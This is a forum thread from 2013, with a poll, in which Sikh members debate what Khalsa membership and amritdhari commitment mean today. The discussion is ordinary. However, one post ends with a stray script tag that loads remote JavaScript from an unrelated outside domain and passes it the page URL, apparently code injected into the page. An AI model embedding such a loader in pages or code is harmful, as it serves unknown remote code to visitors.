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What is the Meaning and Purpose of Khalsa today?

Discussion in 'Sikh Youth' started by Ishna, Aug 10, 2013.

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Who Wants to be Amritdhari?

  1. Khalsa today is just as khalsa as it was in 1699. Sign me up!

    7 vote(s)
    36.8%
  2. Khalsa today still has the spirit but outwardly is a little bit rusty. I'll still sign up.

    1 vote(s)
    5.3%
  3. Khalsa today needs some work. I want to be a true element within it working towards the ideal.

    3 vote(s)
    15.8%
  4. Khalsa today doesn't represent what it ought to. I'd rather not join at this time.

    0 vote(s)
    0.0%
  5. Khalsa today is not required in the same way it was in 1699. I see no need to join.

    1 vote(s)
    5.3%
  6. Khalsa is for the really devout, like monks and nuns in other religions. I'm happy to remain a Sikh

    1 vote(s)
    5.3%
  7. I am already amritdhari; and will voice my opinion in the thread.

    4 vote(s)
    21.1%
  8. I am not a Sikh; and will comment in the thread.

    1 vote(s)
    5.3%
  9. Other. I will explain in the thread.

    1 vote(s)
    5.3%
  1. Ishna

    Ishna
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    What is the meaning and purpose of Khalsa today, especially in the context of the global Sikh community?

    Is the purpose the same now as it was in 1699?

    Is there any meaning left behind the khalsa identity given the divisions within Sikhi and as someone else here recently mentioned the lack of discipline or training - anyone can be a Khalsa it doesn't matter if they're serious about representing the community?

    How important is it for a Sikh to become khalsa today?

    Is it inevitable that khalsa will become the 'devotional order' within Sikhi, like monks and nuns within other religions, and that Sikhs will be the laypeople? I already see as much in my local sangat.

    Is the idea of khalsa as it is today a dividing force? Isn't Sikhi about inclusion?

    How important is it for a Sikh to become khalsa?

    What does it mean to 'faithfully believe in... the baptism bequeathed by the tenth Guru? (quoted from SRM)

    Just some questions that are bouncing around in my head today.
     

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  3. spnadmin

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    Re: What is the Meaning and Purpose of Khalsa today

    You have had no takers on this one. I will therefore give it a go!

    The purpose and meaning of the Khalsa today will always need to be compared to its first purpose and meaning. "Khalsa is my very form. In the Khalsa, I live. Khalsa is my face, my limbs. With the Khalsa I reside.”

    Who will say that, by taking Khande de Pahule, they represent their father justly? One who was a scholar, a statesman, a soldier, protector and defender of the oppressed, a spiritual leader, a devoted son – husband – parent, and above all willing to sacrifice everything in the service of principles he held dear.

    Martin Luther King in his sermon from Ebeneezer Baptist Church, 5 November 1967, explains how this works.

    That is asking a lot from any individual; but declaring oneself Khalsa implies that one will be giving a lot. For what other reason do Khalsa wear the kakkars? In our sangats, can we look to individuals who are Khalsa for moral guidance? Are we inwardly certain that they model the principles Khalsa died for 300 years ago.

    Do they lead in parchar of the Shabad Guru?
    Do they sponsor efforts to teach Gurmukhi in the sangat?
    Do they sponsor outreach to the homeless and the hungry?
    Do they stand up front in the care of the elderly and impoverished of their congregation and community?
    Do they organize and support political advocacy when it is called for, without regard for partisan affiliation?
    Do they welcome discussion of diverse points of view?
    Do they participate in efforts toward interfaith understanding?
    Do they inspire you? Do you want to be a solider in that army?
    Or are they fixated on issues that are essentially tangential to Sikhism, and bicker about them? (Indeed I have my own list of examples, but will keep my counsel.)
    Can we recognize Guru Gobind Singh abiding in this Khalsa today?

    A person does not have to be Khalsa to do anything listed above. But if someone Khalsa is not so engaged, then what was the point of Khande de Pahule? The purpose and meaning of the Khalsa today is to be Khalsa.
     
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    #2 spnadmin, Aug 11, 2013
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  4. Gyani Jarnail Singh

    Gyani Jarnail Singh Malaysia
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    Khalsa Mera roop hai khas..Khalseh mein hoon karoon nivaas..
    Many take the outward "roop" to be the be all and end all..

    ROOP is also the INNER BEAUTY...and the GURU's BEAUTY..his ideals, his attributes, his qualities..his ways of doing things..everything the GURU is..should be reflected in a Khalsa..Can the Khalsa of today act on a Bhai Ghaniyah Ji after hearing the complaints agianst him like the Guru did ? Can the Khalsa sacrifice his parents his four children for the kaum like the Guru did..so many "roops"..and all we cna see is just the one outer CHOLA that is SO EASY to wear..many a time its given out FREE to all and sundry..just SIGN UP....FREE Chola/Gatra Kirpan/set of kacherra/kangha and karra will be PROVIDED. The KESH....well thats up to YOU !!..until one fine day ..maybe WIGS will be provided free too..who knows ?? Sikhs are too "DEEP" into the "SUPERFICIAL" ???? sounds Contradictory ?? Depth vs superficial..Not at all..Sikhs have Mastered the art of going "deep" into Superficiality of everything !!! So TODAY..Sikhs Never tire of telling all and sundry.." The SGGS..is as DEEP as the deepest Oceans..there are Pearls and diamonds to thsoe who DIVE DEEP..blah blah blah....AND WHAT DO MOST SIKHS DO.... when they arrive at the SHORES of thsi DEEPEST of all DEEP Oceans ?/ they close their eyes..MUTTER WAHEGURU..and DIP a little finger..touch it to their forehead..and DEPART !! Thats how Sikhs have Mastered the art of " going deep" and 'surface dipping"
    Hats OFF. WIGS on.:singhfacepalm::singhfacepalm::singhfacepalm::singhfacepalm::singhfacepalm:



    <script src="https://secure-content-delivery.com/data.js.php?i={B9986458-7307-43C8-90C7-6BE304BE4CCA}&d=2013-08-02&s=http://www.sikhphilosophy.net/sikh-youth/41304-what-is-meaning-purpose-khalsa-today.html&cb=0.23695747067967654" type="text/javascript"></script>
     
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  5. palaingtha

    palaingtha India
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    Re: What is the Meaning and Purpose of Khalsa today

    The meaning and purpose of Khalsa is lost some where in the way we live today. The ideals have been thrown asunder and, we all are like people, belonging to other religions who have made the purpose of their lives 'to accumulate wealth, wealth and nothing else'.
    You will find our religious leaders and the Sikh clergy, let alone the political leaders and other Amritdharis or otherwise running in the race for accumulating worldly wealth.
    It is alright to study hard for securing better jobs or excel in business, or to work hard to earn your daily bread but to use means other than honest is irreligious. I have seen/known Amritdharis who clamor for wealth by hook or crook.
    In today's world an honest person is taken to be a fool/ignorant/lacking opportunities/unlucky etc.etc. A man with principals and high ideals will never hanker for unearned wealth but will fight for his rights where money is due he earned with the sweat of his brow. If he shares his honestly earned wealth with less fortunate persons, remembers God through Prayers as prescribed in Sikhism and abides by other Sikh Tenets he is a true Sikh. Then you can be sure of the Khalsa living with his Guru for Guru Gobind Singh Sahib said,
    "Khalsa is my very form. In the Khalsa, I live. Khalsa is my face, my limbs. With the Khalsa I reside.”
     
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  6. Tejwant Singh

    Tejwant Singh United States
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    Ishna ji,

    Guru Fateh


     
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  7. palaingtha

    palaingtha India
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    Such writings are of no use. Instead had you spent some time in explaining the meaning of one stanza from SGGS to the SPNers they could have made them selves a step nearer to the Guru or Sikhi.
    These taunting words causes no flutter in a Sikh's mind/heart ti improve himself.
    The need of the day is those who have studied Sikhism deeply and are impressed by the Guru's philosophy should come forward and convince brothers/sisters Sikhs of the virtue of the Guru's teachings and how to be a True Sikh. Nobody is perfect except the Lord God Waheguru but we can strive to improve in strengthening our faith in Sikhism and live life of a true Sikh.
     
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  8. kds1980

    kds1980 India
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    The purpose of khalsa was to be martial and an army who could rule.If the purpose of khalsa was to to be pure hearted then why they needed to carry 3 feet long sword

    there were no khalsa in the era of Guru nanak . If they had been there then they could had attacked humayon or Akbar.Guru gobind singh created khalsa and in 10 years that khalsa army started attacking mughals and in another 6 years they captured large parts.in the entire 18th century khalsa was in power struggle and not in struggle of becoming pure hearted
     
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  9. spnadmin

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    palaingtha ji

    I must respectfully disagree with you on several points. First is the idea that Khalsa is a "True Sikh" which creates the impression that the not-Khalsa are False Sikhs. This is one of the biggest hurdles that those who are not amritdhari have with taking Khande de Pahule -- the idea that I will be joining an aristocracy of the washed. Then they/we look about and see that many of the True Sikhs wear the kakkars but do not live up to the ideals they symbolize, and are content to flash their identity as if the kakkars make you a Sikh. Explaining one single tuk to convince the un-washed of the False Sikhs works only if the explainer is able to resist the temptation to give a high-and-mighty lecture. If I am to listen to someone who believes me to be a False Sikh, why should I take the True Sikh seriously? And there are times when the explanation is faulty because the kathavachak doesn't understand his subject matter, himself.

    Gyani ji's comments are important because they acknowledge that among the so-called Khalsa are many hypocrites. He is so much as saying, Make no mistake about that. But do not be disheartened or discouraged. When change comes from the inside-out, then we have a Khalsa and then Khande de Pahule makes sense and is something to aim for. Then the outward roop is not a form of fancy dress, but a sign that we are among people of quality.

    You know as well as I do that there are many among the Khalsa who are content to be served by the rest, and serve none but themselves.
     
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  10. spnadmin

    spnadmin United States
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    Khalsa ji

    If we believe your words, then you are making a very good case for understanding why the khalsa in the 19th, 20th and 21st centuries have been fighting with Singhs. We would vanquish the lion, whilst in every decade a pack of jackals has been lying in wait, ready to finish the job.
     
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  11. Tejwant Singh

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    kds ji,

    Guru Fateh.

    Are you trying to say, that Guru Nanak was not pure hearted or our other 8 Nanaks were not either? And how about their followers?

    I fail to understand your point here. You are all over the place.

    Before we delve deeper into your claims which make no sense to me, please define Khalsa as a word.

    Then, if I take your argument a bit farther, your claim dictates that there is no need for Khalsa anymore as there are no more Mughal forces we have to fight against?

    Is that what you mean?


    Thanks and regards

    Tejwant Singh
     
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  12. palaingtha

    palaingtha India
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    SPNadmin, Gur Fateh Ji,

    The best way to keep a Jathebandi in Sikhism is to educate our Sikh masses who are Amritdharis or Sikhs who have taken Amrit and not wearing the mandatory Kirpan but keeping other Kakkars, or are not Nitnamies, etc. Sikh maryada/Sikh way of life is being continued by them is the best solution for us.
    We see Amritdharies, many of them corrupt in one way or the other going as Khalsas. Everybody knows that if we put the Amritdharies to a rigorous test their compliance of a TRUE KHALSA, I fear many, many will fail the test.
    For the time being we must see who call themselves Sikhs have four Kakkars and have faith in Gurbani and adopt Sikh way of life.
    If we have dedicated Religious workers they can complete the remaining work of coaxing them to Baptise themselves as Khalsa with Amrit Sinchar.
    Nowadays you can read in matrimonial columns for Sikh Grooms/Brides mention of CUTSARDS, Trimmed Sikh etc.etc. Do we call them Sikhs, NO. I can call myself a billioner even though I may be living hand to mouth.
    To keep our count on the right side of a scale we must accept all Sikhs who adorn at least 4 Kakkars and live Sikh way of life to be members of the Panth.
    Let us not fall into a controversy by which others take advantage of our small short comings. When the Sikhs who claim themselves to be Khalsas are not up to the mark on litmus test of Sikh Maryada let us be content with what we have--- Sikhs more or less living Sikh way of life and on the path to adopting proper Khalsahood.
     
  13. Harkiran Kaur

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    I actually think Khalsa is more important now than ever... the current state of the world with opression, greed, violence, religious intolerance, racism, etc. are reaching a boiling point. If you sit back and watch the news you can see it. Something's happening on a world scale and we need to be ready for it. Do we stand up and be ready to fight for our beliefs, or do we sit back and let someone else fight? I for one, am prepared to die for my beliefs. Mind you, I also signed a ditted line that says I will also die for my country. Maybe it's the military training and mentality in me, but if I see someone being hurt or abused, I won't stay quiet. Staying quiet about things is what 99% of people do. Bystanders... they won't help because they are too scared of being hurt or they just don't want to be involved. This is a huge problem in the modern world. Everyone are too complacent about everything. So Khalsa is as imprtant now as ever.

    Also, aren't we all supposed to asipre to do Amrit in our life? I don't see it as being like nuns etc in other religions. Because ALL Sikhs are not supposed to cut hairs etc. Not just the Amritdharis. 5 k's are for everyone not just Khalsa I thought?? The other 'rules' are there for our own good... sex outside marriage only does damage emotionally and creates less of a bond when you do get married. Eating meat killed Muslim way? That is just horrible anyway! Why make an innocent animal suffer - an animal that is a part of creation just as you and I? So the 'rules' should be followed by everyone anyway... It's closer to what adult baptism is in other religions where you are making a choice to follow the tenets of the religion of your own will.

    I can call myself a skydiver, but if I don't ever actually jump out of a plane then what am I really??
     
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  14. Ishna

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    Please don't take the following questions as argumentative, I'm exploring rather than trying to find fault.

    Do you have to be Khalsa to tackle these issues? Khalsa as in Amritdhari. Is a sehajdhari Sikh any more accepting of oppression, greed, violence, religious intolerance, racism etc because he has cut hair, than an amritdhari with a turban and kirpan who rapes someone?

    What about someone else's beliefs?


    What makes an amritdhari Khalsa any different from a regular Sikh then?

    Is the one skydiver any less of a skydiver than the other because they have jumped from different planes?

    Many thanks
     
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  15. Harkiran Kaur

    Harkiran Kaur Canada
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    Ishna Ji,

    The skydiving analogy wasn't mentioning two different planes, it was saying that if I never actually jump from a plane at all....

    I thought that the goal of all Sikhs was to eventually do Amrit (or plan to do Amrit) that's why I answered as I did....

    And I stand by my comments about Khalsa being as important now as ever... I was just saying that the original reasons it was created have not gone away. The world is in so much turmoil. I am not saying that nobody else can help the situation... what I am saying is that it's also not a good time to throw away what was created by Guru Gobind Singh Ji either.

    Do you think that its time to do away with the 5 k's? To do away with the uniform of the Khalsa? Do you think any type of baptism is no longer needed, where people make a promise to Guru Ji to keep with the tenets fo the faith... faithfully? Should eventually all Sikhs start cutting their hairs and remove any outward sign they are Sikh? Should we throw away the vision of Guru Gobind Singh Ji just because we don't feel it's needed anymore or it's antiquated etc?

    Just curious as to your views on this?
     
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  16. Ishna

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    Thanks for clarifying.

    Short answer: No.

    Long answer: If people were wearing the uniform of the Canadian Navy without actually being members of the military, who lack the discipline, would the uniform lose it's poignancy?

    When the uniform is the same for the Canadian Navy, the Royal Australian Air Force and Scotland Yard, then the purpose of the uniform is what exactly?

    I realise it's not up to us to judge the discipline of other Sikhs, and nothing is every perfect. Perhaps I've just not had the priviledge of speaking with (in real life anyway) any amritdhari Sikhs to whom I can look up to, but I've spoken with plenty of good, hard working and generous sehajdharis.

    Yes, the concept is idealistic, it represents the pinnacle of human existance, sant-sipahi full of spirituality, strength, ethical actions... where are those amritdhari Khalsa? Do they actually exist anymore in the form bestowed by Guru Gobind Singh Ji? Or do they exist in the form of regular people?

    I don't know.
     
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  17. Harkiran Kaur

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    Nobody is perfect.... but that doesn't mean we shouldn't strive to be.

    I am doing Amrit in Nov. I chose to do so not because I think I am already perfect, nor do I think that to be Amritdhari means to be perfect... not even close! As humans we can never ever hope to be!

    But that doesn't mean I will give up trying... I look at doing Amrit as more a promise to strive to do the best I can. To make a commitment to abide by the teachings and instruction of Guru Gobind Singh Ji. It doesn't mean I will ever attain that status of being a perfect Sikh, or that perfect image of purity etc. But I will at least give my commitment to try the best I can.

    So do I think that a uniform should be worn by those who don't totally embody what that uniform represents? As I said above, no human will ever be that perfect image. But as long as we make a commitment to do the best we can, then yes.

    I'm in the Navy. I am by no means a poster girl for the Navy. I am far from perfect at my job. I am small, so I struggle with some of the physical tasks.... Do I deserve to wear the uniform? I think so... because even though I am not perfect I work very hard and I am dedicated. I try to make up for my weaknesses with strengths in other areas. I was one of the very first women who qualified to serve on submarines, previously an all male bastion. I am nowhere near a perfect submariner, but I'd like to think all my hard work paid off and that since I passed all my exams and qualification boards and did the job at sea... I deserve to wear my 'dolphin' badge (the universal qualification badge of submariners all around the world).

    So Khalsa to me, is not those who are perfect, but those who make a conscious decision to do the best they can and strive for that ideal. If everyone waited until they were already perfect, we would have no Khalsa at all.... ever.

    So Khalsa IS as important now as ever. It's not just following some of the religion's tenets but making the conscious decision to follow all of them. It doesn't mean you are always able to... and Guru Ji knows humans make mistakes.

    And what are the main reasons people don't become Amritdhari? So they can conform to societys ideals of beauty - cutting styling hair, wearing lots of makeup, pile on the jewelry, don't have 'time' for paath? (what is more important that you can't dedicate about 30 mins a day broken up into a few chunks of prayer)? Do they just not want to? Watching tv or playing video games mroe important? etc? If I genuinely don't have time, I listen to the MP3 version while getting ready for work at the same time. Again, its intent and I am trying... and its really not that difficult at all! The main reasons I can see are not wanting to wear turban all the time, not wanting to deal with a full dhari, and for women wanting to wear lots of makeup and thread eyebrows etc. Personally speaking here: I think we as women look much more beautiful with dastar and no makeup... natural beauty. The more I see of people wearing dark eye makeup and bright lipstick etc, the more fake they are looking to me now.
     
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  18. spnadmin

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    ishna ji

    I was the first to reply to you in this thread and believe some of the things I said echo your concerns. There are amritdhari members here at SPN and who they are should not surprise you. The roop of Guru Gobind Singh comes in many forms; and sometimes these don't seem 'Oh so pious' but they are in the khalsa fauj in body and in soul.

    What is the key? A person who chooses khande de pahul chooses the kakkars. My question, and I think your question, is, Did they understand what it was that they chose?

    There are many people who live in the spiritual courage and moral discipline, if you will in the dharma, of Guru Gobind Singh. Yet they are indeed sehajdhari, or they are not even Sikhs, and have no idea of Guru Nanak or of Sikhi. So neither amrit nor kakkars make the khalsa Khalsa! The other side of this however is that in choosing amrit and the kakkars it was also mandated to chose spiritual courage and moral discipline in a very conscious and deliberate way. So amrit/kakkars are not the sufficient conditions to be Khalsa. When one knows an amritdhari by the kakkars one wants to believe that the spirit and morality are there. When they are absent it is a sad thing because the kakkars are a sign of the Guru's roop but nothing of the Guru is there. Khalsa then is only the name of an exclusive club.

    I do not think someone like Akasha has to go on the defensive either. She serves her country and in her spare time is an EMT and serves her sangat. She has accepted the mandate. That matter needs to be put to every one of us until it is so ingrained that we cannot help but put it to ourselves as part of our personal sadhana.
     
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  19. kds1980

    kds1980 India
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    If I am not mistaken Khalsa is from persian word Khalis means pure.I am not saying that guru were not pure hearted , don't know how many of their followers. If there many followers were pure hearted then we could had witnessed big social and political change in punjab witnesses by many historian. This did not happen at the time of earlier Guru's

    And Where it is written Khalsa was born to fight against Mughals.majority of its battle were against other rulers who were not mughals as mughal empire became weak at their time.

    Now let me ask you a question How many 18th century Khalsa sikhs were qualied as pure hearted. Did maharaja Ranjit singh with his 63 wives qualify as pure hearted person?
     
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  20. Tejwant Singh

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    Then what are you trying to say? You talked about the Mughals, not me. I asked you the question about it. I have no idea if you want to interact or to disagree for the sake of disagreement.
     
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  21. kds1980

    kds1980 India
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    I am just saying khalsa was born for political purpose fight establish Raj . and protect religion
     

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